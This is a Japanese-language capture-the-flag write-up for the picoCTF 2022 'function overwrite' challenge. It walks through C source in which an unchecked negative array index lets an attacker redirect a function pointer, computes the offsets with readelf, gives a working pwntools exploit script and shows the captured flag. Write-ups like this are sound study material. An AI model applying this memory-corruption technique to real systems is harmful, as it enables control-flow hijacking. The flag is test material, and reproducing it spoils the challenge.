0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022 writeup function overwrite

Posted at

function overwrite (Binary Exploitation)

Story telling class 2/2
You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using nc saturn.picoctf.net 50495

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。

$ nc saturn.picoctf.net 50495
Tell me a story and then I'll tell you if you're a 1337 >> aaaaaaaaaaaaaaaaaaaaa
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
1
1
You've failed this class.

ソースコードを見る。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

void (*check)(char*, size_t) = hard_checker;
check関数ポインタを利用してhard_checker関数を呼び出す。

hard_checker()
calculate_story_score(story, len)が13371337であればフラグが得られる。

calculate_story_score(story, len)
storyのその時点での繰り返し回数番目の値をscoreに加算する。これをlen回数分繰り返す。
最終的なscoreを返す。

vuln()
127文字分の入力をstoryに、入力した2つの数字をnum1とnum2に格納する。
num1が10未満であれば、fun配列のnum1番目にnum2を加算する。
chek()にstoryと\0を除くstoryの長さを渡す。(hard_checker()を呼び出している。)

fun[num1] += num2;を利用して、check関数ポインタをhard_checker()からeasy_checker()に書き換えることで、calculate_story_score()が1337でフラグが得られるようにするのが現実的である。

セキュリティ機構を確認する。

$ checksec vuln
[*] '/home/colza-picoctf/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

fun[]からcheck関数ポインタまでのoffsetを求める。

$ readelf -a vuln
...
55: 0804c080    40 OBJECT  GLOBAL DEFAULT   26 fun
...
78: 0804c040     4 OBJECT  GLOBAL DEFAULT   25 check
...

より、0x40 bytesの差がある。fun配列は1要素につき32bits(4bytes)なので、fun[]からcheck関数ポインタまでの配列の要素は-16である。

fun[-16]にはhard_checker()のアドレスが格納されており、これにnum2の値を加算することでeasy_checker()のアドレスにしたい。hard_checker()からeasy_checker()までのoffsetを求める。

$ readelf -a vuln
...
46: 08049436   314 FUNC    GLOBAL DEFAULT   15 hard_checker
...
77: 080492fc   314 FUNC    GLOBAL DEFAULT   15 easy_checker
...

より、offsetは、0x08049436 - 0x080492fc = -13a(-314 bytes)となる。

storyを1337にする必要があり、総和が1337になる文字は~10個とM1個である。

以下、実行コード。

python solve.py
from pwn import *

p = remote('saturn.picoctf.net', 50495)

payload_story = b"~" * 10 + b"M"
payload_num = b"-16 -314"

p.sendlineafter(b">> ", payload_story)
p.sendlineafter(b"than 10.\n", payload_num)

p.interactive()

実行する。

$ python solve.py
[+] Opening connection to saturn.picoctf.net on port 50495: Done
[*] Switching to interactive mode
You're 1337. Here's the flag.
picoCTF{0v3rwrit1ng_P01nt3rs_55516c93}
[*] Got EOF while reading in interactive
$  

フラグが得られた。

picoCTF{0v3rwrit1ng_P01nt3rs_55516c93}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?